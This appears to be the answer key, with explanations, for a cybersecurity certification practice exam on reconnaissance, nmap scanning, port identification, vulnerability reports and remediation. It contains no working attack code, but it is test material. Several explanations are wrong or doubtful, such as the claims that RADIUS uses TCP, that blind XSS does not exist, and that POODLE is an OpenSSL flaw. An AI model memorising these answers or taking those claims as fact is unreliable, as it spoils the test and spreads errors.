A. Limiting the information available about an organization by requiring authentication will strongly limit the ability of potential attackers to gather information. Secure domain registration may conceal the registration contact's information but does not provide any real additional protection. Limiting technologies listed in a job posting can help limit what attackers may find out, but most organizations would prefer to better match candidates. Finally, purging all metadata can help protect information about internal systems and devices but is difficult to enforce, and document metadata is not a primary source of information about most organizations.

B. Since Cassandra is scanning a wireless network and the system is using an IP address that is commonly used for commodity wireless routers, her best guess should be that this is a wireless router that can be accessed via SSH and that is providing a web management interface and print services. The OS fingerprinting that nmap provides is not always reliable, and the VirtualBox match is a false positive in this case. The actual host scanned is an Asus router running open source firmware and additional software.

D. Depending on the level of access associated with the key, this error could give anyone discovering the key total control of an organization's AWS account, resulting in a complete loss of confidentiality, integrity, and availability.

B. The command nbtstat -c shows the contents of the NetBIOS name cache and shows a list of name-to-IP address mappings.

C. The Wayback Machine and similar sites capture periodic snapshots of websites from across the Internet, allowing penetration testers and others performing reconnaissance activities to gather information from historic versions of their target sites. This also means that long-term data breaches may be archived in sites like these in addition to search engine caches.

D. nmap provides Common Platform Enumeration data when the -O (OS fingerprinting) and verbose flags are used. If Kristen had seen the -sV flag instead, she would have expected service version information.

B. Banner grabbing is an active process and requires a connection to a remote host to grab the banner. The other methods are all passive and use third-party information that does not require a direct lookup against a remote host.

D. While the hostnames cluster1 and cluster1a indicate that there may be a cluster of mail servers, this query does not prove that. Instead, Charlene knows that there are two MX entries for her target. She will also notice that mail hosting is handled by MessageLabs, a software-as-a-service provider for email and other managed services, indicating that the public email presence for her target is handled by a specialized company. MXToolbox allows deeper queries about blacklists and SMTP tests, but this image only shows the links to them and does not provide details.

B. nmap supports the use of both HTTP and SOCKS4 proxies, allowing Alex to configure the remote host as an HTTP proxy and bounce his scans through it. This can allow nmap users to leverage their scanning tools without installing them on a protected host or network.

D. This chart shows typical latency for a remote system and minimal or at times zero packet loss. This chart shows normal operations, and Lukas can safely report no visible issues.

B. By default Apache does not run as an administrative user. In fact, it typically runs as a limited user. To take further useful action, Frank should look for a privilege escalation path that will allow him to gain further access.

C. Maddox's actions could identify improperly secured storage buckets that require remediation. While the other vulnerabilities could exist in Maddox's cloud environment, they are not likely to be discovered during a permissions inventory.

C. Alex knows that systems that are exposed to the Internet like DMZ systems are constantly being scanned. She should rate the likelihood of the scan occurring as high. In fact, there is a good chance that a scan will be occurring while she is typing up her report!

A. This type of XSS vulnerability, where the attack is stored on a server for later users, is a persistent vulnerability. The scenario does not tell us that the code is immediately displayed to the user submitting it, so there is no indication of a reflected attack. The attack is stored on the server, rather than in the browser, so it is not a DOM-based attack. Blind XSS attacks do not exist.

B. Hping is a tool that allows the user to handcraft packets for use in attacks and penetration tests. Arachni is a web application security testing tool. Responder is a tool that receives and responds to network requests. Hashcat is a password recovery utility.

C. Field-programmable gate arrays (FPGAs) are hardware that may be dynamically reprogramed by the end user. System on a chip (SoC) do not provide reprogramming capability. Real-time operating systems (RTOSs) are software, not hardware. MODBUS is a standard for communication on SCADA networks.

D. The malloc() function allocates memory from the heap, not the stack, and therefore this is a heap overflow attack. We do not have enough information to determine the type of information stored in this area of memory, so we cannot determine whether it is an integer overflow. The vulnerability may also be described as a buffer overflow, but this term is more generic and less descriptive, so it is not the best answer.

B. Maria's team should use full-disk encryption or volume encryption and should secure the encryption keys properly. This will ensure that any data that remains cannot be exposed to future users of the virtual infrastructure. Although many cloud providers have implemented technology to ensure that this won't happen, Maria can avoid any potential issues by ensuring that she has taken proactive action to prevent data exposure. Using a zero-wipe is often impossible because virtual environments may move without her team's intervention, data masking will not prevent unmasked data or temporary data stored on the virtual disks from being exposed, and spanning multiple virtual disks will still leave data accessible, albeit possibly in fragmented form.

C. When endpoints are connected without a network control point between them, a host-based solution is required. In this case, Lucca's specific requirement is to prevent attacks, rather than simply detect them, meaning that an HIPS is required to meet his needs. Many modern products combine HIPS capabilities with other features such as data loss prevention and system compliance profiling, so Lucca may end up with additional useful capabilities if he selects a product with those features.

B. In a password spraying attack, the attacker tries a set of common passwords using many different accounts. The activity Geoff sees is consistent with this type of attack. Credential stuffing attacks seek to use username/password lists stolen from another site to log on to a different site. This would result in only one login attempt per username. Brute-force attacks would result in thousands or millions of attempts per username. Rainbow table attacks take place offline and would not be reflected in the logs.

B. Most SaaS providers do not want their customers conducting port scans of their service, and many are glad to provide security assertions and attestations including audits, testing information, or contractual language that addresses potential security issues. Using a different scanning tool, engaging a third-party tester, or even using a VPN are not typically valid answers in a scenario like this.

A. Device manufacturer identification relies on the MAC address that includes a vendor prefix. Since MAC addresses can be changed in software, this is not guaranteed to be accurate, but in most cases, you can reasonably expect it to match the manufacturer of the NIC. The complete list of prefixes can be found at standards-oui.ieee.org/oui/oui.txt.

A. The greatest risk in the event of a DoS attack is that the logs are stored in the same cloud environment that is under attack. Cybersecurity professionals may not be able to access those logs to investigate the incident.

C. SQL injection and XML injection attacks commonly take place against applications using those languages. Cross-site scripting (XSS) attacks are a common example of an injection attack against HTML documents. STIX is a language used to define security threat information and is not a common target of injection attacks.

A. Rootkits are specifically designed for privilege escalation attacks, providing the ability to escalate a normal user account into an administrative account.

B. This is a classic example of a time-of-check/time-of-use (TOC/TOU) attack, which exploits a race condition in application code.

A. The strcpy()function in C is notorious for leading to buffer overflow vulnerabilities and must be used very carefully.

A. Of the tools listed, ScoutSuite is the only multicloud testing tool. Pacu, Prowler, and CloudSploit are all AWS-specific tools.

C. The CAN bus is a standard for communication among components of a vehicle and is not likely to be found in any other environment.

C. Reaver attempts to exploit a vulnerability in the Wi-Fi Protected Setup (WPS) protocol.

B. Azra's suspicious user appears to be attempting to crack LANMAN hashes using a custom word list. The key clues here are the john application, the LM hash type, and the location of the word list.

C. nmap's Common Platform Enumeration is a standardized way to name applications, operating systems, and hardware. CPE output starts with cpe:/a for applications, /h for hardware, and /o for operating systems.

D. Detecting port scans requires the ability to identify scanning behavior, and the applications that create syslog entries on most default Linux distributions are not set up for this. Lakshman should identify a tool like psad, an IDS package, or other tool that can track connections and scan behavior and report on it and then use syslog to send those messages to his log collector or SIEM.

C. By purchasing a mitigation service, Greg is reducing the potential impact of a DDoS attack. This service can't reduce the likelihood that an attacker will launch an attack or the capability of that adversary. Greg did not change his own infrastructure, so he did not reduce the total attack surface.

D. The service running from the www directory as the user apache should be an immediate indication of something strange, and the use of webmin from that directory should also be a strong indicator of something wrong. Lucas should focus on the web server for the point of entry to the system and should review any files that the Apache user has created or modified. If local vulnerabilities existed when this compromise occurred, the attacker may have already escalated to another account!

D. Geoff's only sure bet to prevent these services from being accessed is to put a network firewall in front of them. Many appliances enable services by default; since they are appliances, they may not have host firewalls available to enable. They also often don't have patches available, and many appliances do not allow the services they provide to be disabled or modified.

C. Using self-signed certificates for services that will be used by the general public or organizational users outside of a small testing group can be an issue because they will result in an error or warning in most browsers. The TLS encryption used for HTTPS will remain just as strong regardless of whether the certificate is provided by a certificate authority or self-signed, and a self-signed certificate cannot be revoked at all.

A. Pretexting is a form of social engineering that relies on lies about the social engineer's motives. In this case, Fred is giving his targets reasons to believe he is legitimately a member of the organization's support team. OSINT refers to open source intelligence, which is data gathered from public sources. A tag-out sometimes refers to handing off to another member of a penetration test team, whereas profiling is conducted while gathering information about an individual, team, or organization before conducting a social engineering attack.

D. The uses described for the workstation that Carrie is securing do not require inbound access to the system on any of these ports. Web browsing and Active Directory domain membership traffic can be handled by traffic initiated by the system.

C. Whereas the first three ports are common to many of the devices listed, TCP 515 is the LPR/LPD port, 631 is the IPP port commonly used by many print servers, and TCP port 9100 is the RAW, or direct, IP port. Although this could be another type of device, it is most likely a network-connected printer.

B. The system is showing normal ports for a Windows file server. It is most likely that Manish's escalation to management resulted in action by the server administrator.

C. Using telnet to connect to remote services to validate their response is a useful technique for service validation. It doesn't always work, but it can allow you to interact with the service to gather information manually.

B. nmap can combine operating system identification and time to live (TTL) to take a reasonable guess at the number of hops in the network path between the scanner and a remote system. The operating system guess will provide the base time to live, and the TTL counter will decrement at each hop. Given these two pieces of information, nmap takes an educated but often very accurate guess.

B. Delivery occurs when the adversary either deploys their tool directly against targets or via release that relies on staff at the target interacting with it such as in an email payload, on a USB stick, or via websites that they visit.

D. This scan shows Ramesh that he is likely on a network using some portion of the 10.0.0.0/8 private IP space. An initial scan of the 10.0.2.0/24 network to determine what is near him would be a good start. Since the Zenmap scan was run to a single external host, it will not show other hosts on the local network, so there may be more than two nodes on the network. Ramesh cannot make determinations about what the host at 96.120.24.121 is, beyond a device on the route between the local host and his remote scan destination.

B. Marta's best option from this list is to query DNS using WHOIS. She might also choose to use a BGP looking glass, but most of the information she will need will be in WHOIS. If she simply scans the network the web server is in, she may end up scanning a third-party hosting provider, or other systems that aren't owned by her organization in the /24 subnet range. Contacting ICANN isn't necessary with access to WHOIS, and depending on what country Marta is in, ICANN may not have the data she wants. Finally, using traceroute will only show the IP address of the system she queries; she needs more data to perform a useful scan in most instances.

C. Scans from location C will show fewer open ports because most datacenter firewalls are configured to only allow the ports for publicly accessible services through to other networks. Location C is on an internal network, so Marta will probably see more ports than if she tried to scan datacenter systems from location A, but it is likely that she will see far fewer ports than a port scan of the datacenter from inside the datacenter firewall will show.

B. Marta will see the most important information about her organization at location B, which provides a view of datacenter servers behind the datacenter firewall. To get more information, she should request that the client network firewall ruleset include a rule allowing her scanner to scan through the firewall to all ports for all systems on all protocols.

A. Since Andrea is attempting to stop external scans from gathering information about her network topology, the firewall is the best place to stop them. A well-designed ruleset can stop, or at least limit, the amount of network topology information that attackers can collect.

C. Brandon should select RIPE, the regional Internet registry for Europe, the Middle East, and parts of Central Asia. AFRINIC serves Africa, APNIC serves the Asia/Pacific region, and LACNIC serves Latin America and the Caribbean.

B. Testing for common sample and default files is a common tactic for vulnerability scanners. Janet can reasonably presume that her Apache web server was scanned using a vulnerability scanner.

B. If Chris can perform a zone transfer, he can gather all of the organization's DNS information, including domain servers, hostnames, MX and CNAME records, time to live records, zone serial number data, and other information. This is the easiest way to gather the most information about an organization via DNS if it is possible. Unfortunately, for penetration testers (and attackers!), few organizations allow untrusted systems to perform zone transfers.

C. Performing a WHOIS query is the only passive reconnaissance technique listed. Each of the other techniques performs an active reconnaissance task.

A. Passive network mapping can be done by capturing network traffic using a sniffing tool like Wireshark. Active scanners including nmap, the Angry IP Scanner, and netcat (with the -z flag for port scanning) could all set off alarms as they scan systems on the network.

B. AAAA records are IPv6 address records. This means that Ryan may also want to scan for hosts that are available via IPv6 gateways. The rest of the answers here are made up for this question.

B. Zenmap topologies show a number of pieces of useful information. The icons next to DemoHost2 show the following information: a relative assessment of how many ports are open, with white showing “not scanned,” green showing less than three open ports, yellow showing three to six open ports, and red showing more than six open ports. Next, it shows a firewall is enabled, and finally the lock icon shows that some ports are filtered. In this scan, only DemoHost2 has been identified by nmap as currently running a firewall, which doesn't mean that other hosts are not actually running firewalls.

B. This capture shows SQL injection attacks being attempted. We can determine this from the SQL keywords (e.g., UNION ALL) that appear in packets 2188 and 2196. Since this is the reconnaissance phase, the red team should not be actively attempting to exploit vulnerabilities and has violated the rules of engagement.

A. TCP port 636 is often used for secure LDAP, and secure HTTP typically uses TCP 443. Although other services could use these ports, Jennifer's best bet is to presume that they will be providing the services they are typically associated with.

A. Kai's next step is to prepare to pivot. To do so, she needs to browse for additional systems and to identify the methods she will use to access them. At times, this will move her back into the discovery phase.

A. The nmap -T command accepts a setting between 0 (or “paranoid”) and 5 (or “insane”). When Scott sets his scan to use the insane setting, it will perform the fastest scanning it can, which will likely set off any IDS or IPS that is watching for scans.

D. Microsoft SQL typically runs on TCP ports 1433 and 1434. Oracle's default is 1521, IRC is 6667, and VNC is 5900.

B. Cloudflare, Akamai, and other content distribution networks use a network of distributed servers to serve information closer to requesters. In some cases, this may make parts of a vulnerability scan less useful, whereas others may remain valid. Here, Andrea simply knows that the content is hosted in a CDN and that she may not get all the information she wants from a scan.

B. Large data flows leaving an organization's network may be a sign of data exfiltration by an advanced persistent threat. Using HTTPS to protect the data while making it look less suspicious is a common technique.

A. Tracy knows that most wired networks do not use end-to-end encryption by default and that wireless networks are typically more easily accessible than a wired network that requires physical access to a network jack or a VPN connection from an authorized account. Without more detail, she cannot determine whether authentication is required for both networks, but NAC is a common security feature of wired networks, and WPA2 Enterprise requires authentication as well. Port security is used only for wired network connections.

B. Most infrastructure as a service (IaaS) providers will allow their customers to perform security scans as long as they follow the rules and policies for such scans. Ian should review his vendor's security documentation and contact them for details if he has questions.

B. Port 3389 is the service port for RDP. If Fred doesn't expect this port to be open on his point-of-sale terminals, he should immediately activate his incident response plan.

D. Many system administrators have historically chosen 8080 and 8443 as the alternate service ports for plain-text and secure web services. Although these ports could be used for any service, it would be reasonable for Saanvi to guess that a pair of services with ports like these belongs to web servers.

C. Using a UDP scan, as shown in option C with the -sU flag, will not properly identify printers since print service ports are TCP ports. The other commands will properly scan and identify many printers based on either their service ports (515, 631, 9100) or their OS version.

B. TCP ports 1433 and 1434 are commonly associated with Microsoft SQL servers. A print server will likely use ports 515, 631, and 9100; a MySQL server will typically use 3306; and alternate ports for web servers vary, but 8443 is a common alternative port.

B. This nmap scan will scan for SSH (22), SMTP (25), DNS (53), and LDAP (389) on their typical ports. If the services are running on an alternate port, this scan will completely miss those and any other services.

C. Load balancers can alias multiple servers to the same hostname. This can be confusing when conducting scans, because it may appear that multiple IP addresses or hosts are responding for the same system.

C. This scan shows only UDP ports. Since most services run as TCP services, this scan wouldn't have identified most common servers. Kwame should review the commands that his team issued as part of their exercise. If he finds that nmap was run with an -sU flag, he will have found the issue.

B. nmap provides both hardware and operating system identification capabilities as part of its common platform enumeration features. cpe:/o indicates operating system identification, and cpe:/h indicates hardware identification.

A. RADIUS typically uses TCP ports 1812 and 1813. Kerberos is primarily a UDP service although it also uses TCP 544 and 2105, Postgres uses 5432, and VNC uses 5500.

B. nmap supports quite a few firewall evasion techniques including spoofing the MAC (hardware) address, appending random data, setting scan delays, using decoy IP addresses, spoofing the source IP or port, modifying the MTU size, or intentionally fragmenting packets.

A. The dig command provides information including the time the query was done, details of the query that was sent, and the flags sent. In most cases, however, host, dig -x, and nslookup will provide roughly the same information. zonet is not an actual Linux command.

A. When an organization expires multiple certificates, it often indicates a security problem that resulted in a need to invalidate the certificates. Fred should check for other information about a possible compromise near the dates of expiration.

D. Casey knows that she saw three open ports and that nmap took its best guess at what was running on those ports. In this case, the system is actually a Kali Linux system, a Debian-based distribution. This is not a Cisco device, it is not running CentOS, and it was not built by IBM.

D. Since SNMP does not reliably report on closed UDP ports and SNMP servers don't respond to requests with invalid community strings, any of these answers could be true. This means that receiving “no response” to an SNMP query can mean that the machines are unreachable (often due to a firewall), they are not running SNMP, or the community string that was used is incorrect.

B. Angela can use NetworkMiner, a tool that can analyze existing packet capture files to do OS identification and which identifies and marks images, files, credentials, sessions, DNS queries, parameters, and a variety of other details. Ettercap can perform passive TCP stack fingerprinting but is primarily a man-in-the-middle tool, dradis is an open source collaboration platform for security teams, and Sharkbait is not a security tool or term.

A. A canonical name (CNAME) is used to alias one name to another. MX records are used for mail servers, SPF records indicate the mail exchanges (MXes) that are authorized to send mail for a domain, and an SOA record is the Start of Authority record that notes where the domain is delegated from its parent domain.

C. When a vulnerability exists and a patch has not been released or cannot be installed, compensating controls can provide appropriate protection. In the case of PCI DSS (and other compliance standards), documenting what compensating controls were put in place and making that documentation available is an important step for compliance.

C. The -sP flag for nmap indicates a ping scan, and /24 indicates a range of 255 addresses. In this case, that means that nmap will scan for hosts that respond to ping in the 192.168.2.0 to 192.168.2.255 IP address range.

B. Performing a scan from an on-site network connection is the most likely to provide more detail. Many organizations have a strong external network defense but typically provide fewer protections for on-site network connections to allow internal users to access services. It is possible that the organization uses services found only on less common ports or UDP only services, but both of these options have a lower chance of being true than for an on-site scan to succeed. nmap does provide firewall and IPS evasion capabilities, but this is also a less likely scenario.

C. Passive fingerprinting relies on the ability of a system to capture traffic to analyze. Preventing systems from using promiscuous mode will provide attackers with very little data when performing passive fingerprinting. Both intrusion prevention systems and firewalls can help with active fingerprinting but will do nothing to stop passive fingerprinting.

C. Wang's screenshot shows behavioral analysis of the executed code. From this, you can determine that malwr is a dynamic analysis sandbox that runs the malware sample to determine what it does while also analyzing the file.

D. While SSH port forwarding and SSH tunneling are both useful techniques for pivoting from a host that allows access, nmap requires a range of ports open for default scans. He could write a script and forward the full range of ports that nmap checks, but none of the commands listed will get him there. If Frank has access to proxy chains, he could do this with two commands.

C. Angela has captured part of a Nikto scan that targets a vulnerable ASP script that allows directory traversal attacks. If it was successful, the contents of files like /etc/passwd would be accessible using the web server.

A. Since organizations often protect information about the technologies they use, OSINT searches of support forums and social engineering are often combined to gather information about the technologies they have in place. Port scanning will typically not provide detailed information about services and technologies. Social media review may provide some hints, but document metadata does not provide much information about specific technologies relevant to a penetration test or attack.

C. Sarah knows that domain registration information is publicly available and that her organization controls the data that is published. Since this does not expose anything that she should not expect to be accessible, she should categorize this as a low impact.

C. The increasing digit of the IP address of the target system (.6, .7, .8) and the ICMP protocol echo request indicate that this is a ping sweep. This could be part of a port scan, but the only behavior that is shown here is the ping sweep. This is ICMP and cannot be a three-way handshake, and a traceroute would follow a path rather than a series of IP addresses.

D. While the system responded on common Windows ports, you cannot determine whether it is a Windows system. It did respond, and both ports 139 and 445 were accessible. When the host the Wireshark capture was conducted from queried DNS, it did not receive a response, indicating that the system does not have a DNS entry (or at least, it doesn't have one that is available to the host that did the scan and ran the Wireshark capture).

D. nmap has a number of built-in antifirewall capabilities, including packet fragmentation, decoy scans, spoofing of source IP and source port, and scan timing techniques that make detection less likely. Spoofing the target IP address won't help; her packets still need to get to the actual target.

A. Using an agent-based scanning approach will provide Kim with the most reliable results for systems that are not always connected to the network. The agent can run the scans and then report results the next time the agent is connected to a network. The other technologies all require that the system be connected to the network during the scan.

B. As Carla reads this report, she should note that the bottom three vulnerabilities have a status of Fixed. This indicates that the information leakage vulnerability is already corrected and that the server no longer supports TLS v1.0. The alert about the load balancer is severity 1, and Carla should treat it as informational. This leaves a severity 2 vulnerability for the expired SSL certificate as the highest-severity issue of the choices presented.

C. In a VM escape attack, the attacker exploits vulnerabilities in the hypervisor to gain access to resources assigned to other guest operating systems. Services running on the guest may be vulnerable to the other attacks listed here, but those attacks would only be able to access other resources assigned to either the same guest (in the case of buffer overflow or directory traversal) or the client (in the case of cross-site scripting).

C. Sadiq should ensure that the ICS is on an isolated network, unreachable from any Internet-connected system. This greatly reduces the risk of exploitation. It would not be cost-effective to develop a patch himself, and Sadiq should not trust any software that he obtains from an Internet forum. An intrusion prevention system, while a good idea, is not as strong a control as network isolation.

C. This vulnerability has a severity rating of 3/5 and is further mitigated by the fact that the server is on an internal network, accessible only to trusted staff. This rises above the level of an informational report and should be addressed, but it does not require urgent attention.

B. The High Severity Report is the most likely report of the choices given that will provide a summary of critical security issues. The Technical Report will likely contain too much detail for Rob's manager. The Patch Report will indicate systems and applications that are missing patches but omit other security issues. The Unknown Device Report will focus on systems detected during the scan that are not registered with the organization's asset management system.

A. The Payment Card Industry Data Security Standard (PCI DSS) regulates credit and debit card information. The Family Educational Rights and Privacy Act (FERPA) applies to student educational records. The Health Insurance Portability and Accountability Act (HIPAA) regulates protected health information. The Sarbanes–Oxley (SOX) Act requires controls around the handling of financial records for public companies.

C. Web servers commonly run on ports 80 (for HTTP) and 443 (for HTTPS). Database servers commonly run on ports 1433 (for Microsoft SQL Server), 1521 (for Oracle), or 3306 (for MySQL). Remote Desktop Protocol services commonly run on port 3389. There is no evidence that SSH, which uses port 22, is running on this server.

B. Nina should perform testing of her code before deploying it to production. Because this code was designed to correct an issue in a vulnerability scan, Nina should ask the security team to rerun the scan to confirm that the vulnerability scan was resolved as one component of her testing. A penetration test is overkill and not necessary in this situation. Nina should not deploy the code to production until it is tested. She should not mark the issue as resolved until it is verified to work in production.

B. Port 23 is used by telnet, an insecure unencrypted communications protocol. George should ensure that telnet is disabled and blocked. Secure shell (SSH) runs on port 22 and serves as a secure alternative. Port 161 is used by the Simple Network Management Protocol (SNMP), and port 443 is used for secure web connections.

B. This system is exposing a service on port 3389. This port is typically used for remote administrative access to Windows servers.

C. The issue identified in this scan report is with a service running on port 3389. Windows systems use port 3389 for the Remote Desktop Protocol (RDP). Therefore, Harold should turn to this service first.

D. None of the protocols and versions listed in this question is an acceptable way to correct this vulnerability. All versions of SSL contain critical vulnerabilities and should no longer be used. TLS v1.0 also contains a vulnerability that would allow an attacker to downgrade the cryptography used by the server. Harold should upgrade the server to support at least TLS v1.2.

D. VMware is a virtualization platform that is widely used to run multiple guest operating systems on the same hardware platform. This vulnerability indicates a vulnerability in VMware itself, which is the hypervisor that moderates access to physical resources by those guest operating systems.

B. Quentin should reconfigure cipher support to resolve the issues surrounding the weak cipher support of SSL/TLS and RDP. He should also obtain a new SSL certificate to resolve multiple issues with the current certificate. He should add account security requirements to resolve the naming of guest accounts and the expiration of administrator passwords. There is no indication that any Windows patches are missing on this system.

A. Although all of these categories of information should trigger vulnerability scanning for assets involved in their storage, processing, or transmission, only credit card information has specific regulations covering these scans. The Payment Card Industry Data Security Standard (PCI DSS) contains detailed requirements for vulnerability scanning.

A. Stella should remediate this vulnerability as quickly as possible because it is rated by the vendor as a Critical vulnerability. The description of the vulnerability indicates that an attacker could execute arbitrary code on the server and use this vulnerability to achieve escalation of privilege. Therefore, this should be one of Stella's highest priorities for remediation.

B. This system is running SharePoint. This application only runs on Microsoft Windows servers.

B. The vulnerability report indicates that SharePoint application patches are available to correct the vulnerability on a variety of versions of SharePoint. This should be Stella's first course of action since it will correct the underlying issue. Deploying an intrusion prevention system may also prevent attackers from exploiting the vulnerability, but it will depend on the positioning of the IPS and the attacker's location on the network and will not correct the underlying issue. There is no indication that an operating system patch will correct the issue. Disabling the service will prevent an attacker from exploiting the vulnerability but will also disable the business-critical service.

D. A supervisory control and data acquisition (SCADA) network is a form of industrial control system (ICS) that is used to maintain sensors and control systems over a large geographic area.

D. The most likely issue is that Eric's scanner has not pulled the most recent signatures from the vendor's vulnerability feed. Eric should perform a manual update and rerun the scan before performing an investigation of the servers in question or filing a bug report.

A. Blind SQL injection vulnerabilities are very difficult to detect and are a notorious source of false positive reports. Natalie should verify the results of the tests performed by the developers but should be very open to the possibility that this is a false positive report, since that is the most likely scenario.

A. Virtualized systems run full versions of operating systems. If Kasun's scan revealed a missing operating system patch when he scanned a virtualized server, the patch should be applied directly to that guest operating system.

D. Joaquin can improve the quality and quantity of information available to the scanner by moving to credentialed scanning, moving to agent-based scanning, and integrating asset information into the scans. Any of these actions is likely to reduce the false positive rate. Increasing the sensitivity of scans would likely have the opposite effect, causing the scanner to report even more false positives.

C. Of the choices presented, the maximum number of simultaneous checks per host is the only setting that would affect individual systems. Changing the number of simultaneous hosts per scan and the network timeout would have an effect on the broader network. Randomizing IP addresses would not have a performance impact.

C. This report simply states that a cookie used by the service is not encrypted. Before raising any alarms, Isidora should investigate the contents of the cookie to determine whether the compromise of its contents would introduce a security issue. This might be the case if the cookie contains session or authentication information. However, if the cookie does not contain any sensitive contents, Isidora may be able to simply leave the service as is.

C. Information asset value refers to the value that the organization places on data stored, processed, or transmitted by an asset. In this case, the types of information processed (e.g., regulated data, intellectual property, personally identifiable information) helps to determine information asset value. The cost of server acquisition, cost of hardware replacement, and depreciated cost all refer to the financial value of the hardware, which is a different concept than information asset value.

D. Laura should consider deploying vulnerability scanning agents on the servers she wants to scan. These agents can retrieve configuration information and send it to the scanner for analysis. Credentialed scanning would also be able to retrieve this information, but it would require that Laura manage accounts on each scanned system. Server-based scanning would not be capable of retrieving configuration information from the host unless run in credentialed mode. Uncredentialed scans would not have the access required to retrieve detailed configuration information from scan targets.

B. The vulnerability report states that the issue is with SQL Server. SQL Server is a database platform provided by Microsoft.

D. It is unlikely that a network IPS would resolve this issue because it would not be able to view the contents of an encrypted SSH session. Disabling port 22 would correct the issue although it may cause business disruption. Disabling AES-GCM is listed in the solution section as a feasible workaround, whereas upgrading OpenSSH is the ideal solution.

D. Unfortunately, Singh cannot take any action to remediate this vulnerability. He could consider restricting network access to the server, but this would likely have an undesirable effect on email access. The use of encryption would not correct this issue. The vulnerability report indicates that “There is no known fix at this time,” meaning that upgrading Windows or Exchange would not correct the problem.

B. SQL injection vulnerabilities target the data stored in enterprise databases, but they do so by exploiting flaws in client-facing applications. These flaws are most commonly, but not exclusively, found in web applications.

B. This vulnerability exists in Microsoft Internet Information Server (IIS), which is a web server. The fact that the vulnerability could result in cross-site scripting issues also points to a web server. Web servers use the HTTP and HTTPS protocols. Ryan could configure IPS rules to filter HTTP/HTTPS access to this server.

B. Applying a security patch would correct the issue on this server. The fact that the header for this vulnerability includes a Microsoft security bulletin ID (MS17-016) indicates that Microsoft likely released a patch in 2017. Disabling the IIS service would disrupt business activity on the server. Modifying the web application would not likely address this issue as the report indicates that it is an issue with the underlying IIS server and not a specific web application. IPS rules may prevent an attacker from exploiting the vulnerability, but they would not correct the underlying issue.

A. Since this is an escalation of privilege vulnerability, it is likely that an attacker could gain complete control of the system. There is no indication that control of this system would then lead to complete control of the domain. Administrative control of the server would grant access to configuration information and web application logs, but these issues are not as serious as an attacker gaining complete control of the server.

B. This server is located on an internal network and only has a private IP address. Therefore, the only scan that would provide any valid results is an internal scan. The external scanner would not be able to reach the file server through a valid IP address.

A. Task 1 strikes the best balance between criticality and difficulty. It allows Zahra to remediate a medium criticality issue with an investment of only six hours of time. Task 2 is higher criticality but would take three weeks to resolve. Task 3 is the same criticality but would require two days to fix. Task 4 is lower criticality but would require the same amount of time to resolve as Task 1.

C. Although all of these options are viable, the simplest solution is to design a report that provides the information and then configure the system to automatically send this report to the director each month.

C. If the firewall is properly configured, the workstation and file server are not accessible by an external attacker. Of the two remaining choices, the web server vulnerability (at severity 5) is more severe than the mail server vulnerability (at severity 1). Most organizations do not bother to remediate severity 1 vulnerabilities because they are usually informational in nature.

A. This is an informational-level report that will be discovered on any server that supports the OPTIONS method. This is not a serious issue and is listed as an informational item, so Mike does not need to take any action to address it.

D. Ports 139 and 445 are associated with Windows systems that support file and printer sharing.

A. Although a buffer overflow attack could theoretically have an impact on information stored in the database, a SQL injection vulnerability poses a more direct threat by allowing an attacker to execute arbitrary SQL commands on the database server. Cross-site scripting attacks are primarily user-based threats that would not normally allow database access. A denial-of-service attack targets system availability, rather than information disclosure.

A. IPsec is a secure protocol for the establishment of VPN links. Organizations should no longer use the obsolete Secure Sockets Layer (SSL) or Point-to-Point Tunneling Protocol (PPTP) for VPN connections or other secure connections.

D. Rahul does not need to take any action on this vulnerability because it has a severity rating of 2 on a five-point scale. PCI DSS only requires the remediation of vulnerabilities with at least a “high” rating, and this vulnerability does not clear that threshold.

C. This vulnerability is with the Network Time Protocol (NTP), a service that runs on UDP port 123. NTP is responsible for providing synchronizing for the clocks of servers, workstations, and other devices in the organization.

D. Aaron should treat this vulnerability as a fairly low priority and may never get around to remediating it if there are more critical issues on his network. The vulnerability only has a severity rating of 2 (out of 5), and the vulnerability is further mitigated by the fact that the server is accessible only from the local network.

A. The SQL injection attack could be quite serious, since it may allow an attacker to retrieve and/or modify information stored in the backend database. The second highest priority should be resolving the use of unencrypted authentication, because it may allow the theft of user credentials. The remaining two vulnerabilities are less serious, because they pose only a reconnaissance risk.

A. The report notes that all of the vulnerabilities for these three servers are in Fixed status. This indicates that the vulnerabilities existed but have already been remediated and no additional work is required.

B. The most likely issue is that the maintenance subscription for the scanner expired while it was inactive and the scanner is not able to retrieve current signatures from the vendor's vulnerability feed. The operating system of the scanner should not affect the scan results. Ji-won would not be able to access the scanner at all if she had invalid credentials or the scanner had an invalid IP address.

D. The most likely scenario is that a network IPS is blocking SQL injection attempts sent to this server, and the internal scanner is positioned on the network in such a way that it is not filtered by the network IPS. If a host IPS were blocking the requests, the vulnerability would likely not appear on internal scans either. If a firewall were blocking the requests, then no external scanner entries would appear in the log file.

D. The fact that this vulnerability affects kernel-mode drivers is very serious, because it indicates that an attacker could compromise the core of the operating system in an escalation of privilege attack. The other statements made about this vulnerability are all correct, but they are not as serious as the kernel-mode issue.

B. System administrators are normally in the best position to remediate vulnerabilities because they are responsible for maintaining the server configuration. Network engineers, security analysts, and managers may provide input, but they often lack either the privileges or knowledge to successfully remediate a server.

A. Because both of these hosts are located on the same virtualization platform, it is likely that the network traffic never leaves that environment and would not be controlled by an external network firewall or intrusion prevention system. Ed should first look at the internal configuration of the virtual network to determine whether he can apply the restriction there.

D. This is an example of the POODLE vulnerability that exploits weaknesses in the OpenSSL encryption library. While replacing SSL with TLS and disabling weak ciphers are good practices, they will not correct this issue. Carl should upgrade OpenSSL to a more current version that does not contain this vulnerability.

B. According to corporate policy, Renee must run the scans on a daily basis, so the weekend is not a viable option. The scans should run when they have the least impact on operations, which, in this scenario, would be in the evening. The purpose of vulnerability scans is to identify known vulnerabilities in systems and not to perform load testing of servers.

A. The highest-severity vulnerability in this report is the use of an outdated version of SNMP. Ahmed can correct this issue by disabling the use of SNMP v1 and SNMP v2, which contain uncorrectable security issues, and replacing them with SNMP v3. The other actions offered as choices in this question would remediate other vulnerabilities shown in the report, but they are all of lower severity than the SNMP issue.

C. Glenda can easily resolve this issue by configuring workstations to automatically upgrade Chrome. It is reasonable to automatically deploy Chrome updates to workstations because of the fairly low impact of a failure and the fact that users could switch to another browser in the event of a failure. Manually upgrading Chrome would also resolve the issue, but it would not prevent future issues. Replacing Chrome with Internet Explorer would resolve this issue but create others, since Internet Explorer is no longer supported by Microsoft. This is a serious issue, so Glenda should not ignore the report.

B. Glenda should remediate this vulnerability as quickly as possible because it occurs widely throughout her organization and has a significant severity (4 on a 5-point scale). If an attacker exploits this vulnerability, they could take control of the affected system by executing arbitrary code on it.

